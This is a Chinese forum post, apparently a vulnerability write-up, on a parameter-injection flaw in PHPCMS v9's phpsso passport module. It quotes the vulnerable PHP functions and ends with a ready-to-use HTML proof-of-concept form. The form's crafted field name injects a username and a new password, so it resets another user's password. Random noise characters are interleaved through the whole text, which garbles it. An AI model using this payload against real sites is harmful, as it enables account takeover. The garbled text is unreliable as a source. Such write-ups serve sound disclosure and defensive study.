提到的通行证的代码:/ u5 o0 m0 F7 e% u/ |7 T7 |! i6 Q
3 F! f1 y' Q* |0 ~ u% ?) x
0 n# X* C* `$ x6 mparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
0 d$ ?3 L' V" o4 F! |+ j9 M5 L9 U4 m! p( F
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
7 I, Q+ R4 C7 E4 k6 x& @/ n6 {* g/ k# I
我把它留给了你们。
6 R, _+ |- c6 o7 r& t, W( N( o# q) i不知道你们发现了它没有。
$ [5 `+ ^! T% y* p1 G& y6 ~/ r: _7 R1 S! Y
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
# n$ B( y8 t* m8 t/ g, T8 U% {5 d {9 }6 Y; g# j1 L0 Z
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。0 P5 D# d) z; H$ y6 g2 i5 z: T* H- u
9 q' f1 i) q: Y8 s( q8 H也就是
! ]- \" t' F( P' h* c' t5 W, g) `9 M
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。9 W* c( F5 V4 x' \" Y- l7 j
! A% c3 L! c9 L) _0 s& \
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
% L5 M4 ]- P4 \. T# Z, `
1 S5 \1 q5 Q' j* [0 R
S$ J4 F: L, O9 J! V其实我们有这样的机会,看看代码,如下:, H6 v! O+ ]0 _! `7 l2 P
7 F" |; N3 ]" ~( `& S
* N1 k* l& E6 j. U$ u, x5 k1 Xpublic function auth_data($data) {0 C2 R! R( D, u0 f
$s = $sep = '';: Q; U5 H5 H! R+ ]0 H4 K
foreach($data as $k => $v) {
& O- H8 B* {# B1 I0 q9 l if(is_array($v)) {
4 o/ b7 ^) O {' d* q* j" v; U $s2 = $sep2 = '';
. c; K3 }' U/ E- M foreach($v as $k2 => $v2) {7 u7 s' P, @% M( S: t' }7 } W
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
9 N$ l2 m6 X/ C8 k+ ~# c $sep2 = '&';& \3 j" K& Z6 X$ t l/ e- f
}/ S& J! a$ V0 F5 E+ \( c1 T
$s .= $sep.$s2;
7 }7 g" J1 b) H' e+ o9 L- c# c } else {4 b# L) y- a/ Z3 Z0 [, \6 b' x2 E, ^
$s .= "$sep$k=".$this->_ps_stripslashes($v);5 Y1 V6 A/ j' I; _& V, A9 P& V$ _ S- t5 H
}
$ w0 P2 j& W; b4 ^3 Z $sep = '&';
4 v' W% M3 [- I z }: C6 q7 f3 W. {) W1 X- p3 ~9 Y1 W$ F
$ S) }, J- m* h6 r# u
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));0 r! Q' ~/ | w+ I: {9 m
return $auth_s;
( ~3 l. R( h* O) O. s7 O& i }
% h( ^2 n" o% O. C) N/ C& H7 t6 r8 t+ b3 k
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。5 w# S' c+ U+ `: L
# S" y& `) x$ x. [2 d+ A6 g1 e举个例子$ x1 ^8 z$ T5 J' i v! E
' j4 f2 F/ F' d( o/ o+ p/ p' _4 U$a[aaa=a&bbb] = 'a';3 {3 y7 c E, W+ m3 |# r, }( M
* Q- k) F! T8 [2 R6 I7 ?! J" Y
会变成aaa=a&bbb=a2 ^( {9 m2 K3 ~1 H9 @. I# T% w! G
; h$ z* z7 g6 r4 S/ Y( O: s: t
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。) T& o% l- Z% {* P
$ I2 n+ p+ w# X1 v! L
这个时候,我们可以再去看一个函数。9 L* g# k; j% _/ J( U. V3 m
; J' Y# f8 J5 f( h; M就在这个文件内:
" I# L, i ?+ W" f# {
2 U, j5 U- G1 e& {7 ]+ D% `, ]* x. d7 K3 d1 T9 [
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {# X+ q0 k) k; P6 z' G
if($email && !$this->_is_email($email)) {3 e; ~4 O5 w& f* A, v! k- e
return -4;6 m) D' ^0 g& P0 O
}6 ^7 }7 N9 A& i7 m6 i% g. t
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
/ } r: x4 P9 \0 ~8 [2 K! K7 W, x }
+ D2 N5 |+ d# O. A0 r) Z
! H- Z* e B; u# {1 A* `这是向通行证发了这样一个请求。' }* b; R0 I2 y
" A* [: b% G0 e我们再跟到通信证代码里去看看,就会有所发现。. T$ V4 {2 J' D. f$ f* x3 z* G+ V
/ k* b8 ^7 @/ o
0 ? K6 w& @; r6 d4 ^% spublic function edit() {, S' V/ y' ]7 D
//能省就省,太长了不是吗?) Y- m, T) O) ^7 X: c' H4 s( Q; c
9 v8 _# W9 C6 \7 W
if($this->username) {
! ?" O# V0 Y. \- |//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。$ _. o9 h) E8 U# D# ~
$res = $this->db->update($data, array('username'=>$this->username));
& e. f% X- o/ G( y2 \2 E9 \' |# P/ s } else {& v8 ~' r& o! B0 u0 l+ E9 t. l8 S' L" ~
file_put_contents('typeb.txt',print_r($data,1).$this->uid);5 m1 y2 |' K5 u8 P; G* Q
$res = $this->db->update($data, array('uid'=>$this->uid));* r+ G' z2 {; M4 E, ]& W
}. r2 C* _! H0 M" n9 T2 N1 k6 n, W
! W- ~0 Q' S) _好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
9 \ x4 i: m' Q* O4 b3 T5 Z! X
0 D% Q1 ~0 _0 q7 c6 Tpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
; C& n# h* {% ^' |# I% M
/ Q3 `" \! [6 t) R* x' ?很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。) ~2 k1 e8 V; \: b
9 L6 Z$ F' N4 { t# I) `7 x# \我当然找到了:9 [/ k0 K1 f) a3 v5 Y
phpcms9/phpcms/modules/member/index.php; b0 r) e( L' j
5 w9 e. T; V" m. U: x# j8 E$ O
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
* u- ?. i, j" @/ F, I
2 ^# n9 ?& }/ J# ~7 g6 H然后就没有然后了。, Z. R0 h' ?! [' {
9 H# y, D& r6 c! @<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
E7 _ K% e- _) [ <table width="100%" cellspacing="0" class="table_form">
) l6 U, q! U' j) z; B2 E <tr>
% ~$ o; E+ o3 S <th width="80">邮箱:</th> * O* c" l' |/ o1 Y/ i5 V
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
: k5 i, q: n+ M( [ </tr>" ?% N- I2 `# K& {! W8 o$ _/ C
<tr>
/ T$ t( ~9 {" J/ k. J <th width="80">原密码:</th>
$ C: v4 q7 v6 t, \ <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>. I; a) V0 d0 [& |3 a
</tr>
7 b" h( g+ V) b <tr>
* D7 L$ g, H1 ~# L& d9 Q: k7 A <th>新密码:</th>
+ ^+ j9 i- C7 m% }1 V; H$ q <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
& g' V) V7 Q! D$ m, X7 q9 A t </tr>
( J; t$ t% \5 U9 [! a1 C/ G7 K <th></th>
0 d5 V, e: U% c1 ~; X <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
- |- M8 }( s3 q$ x# W </tr>! ^) P2 O! l( G
</table>
( U. ?- B0 \9 D" d; }! _* }+ r" Q W, q' M+ H. X9 y1 O0 N
# G, T; n+ G' U5 }$ d; L </form>: ?+ W( m" |2 J! W" b0 ]( w z! D
|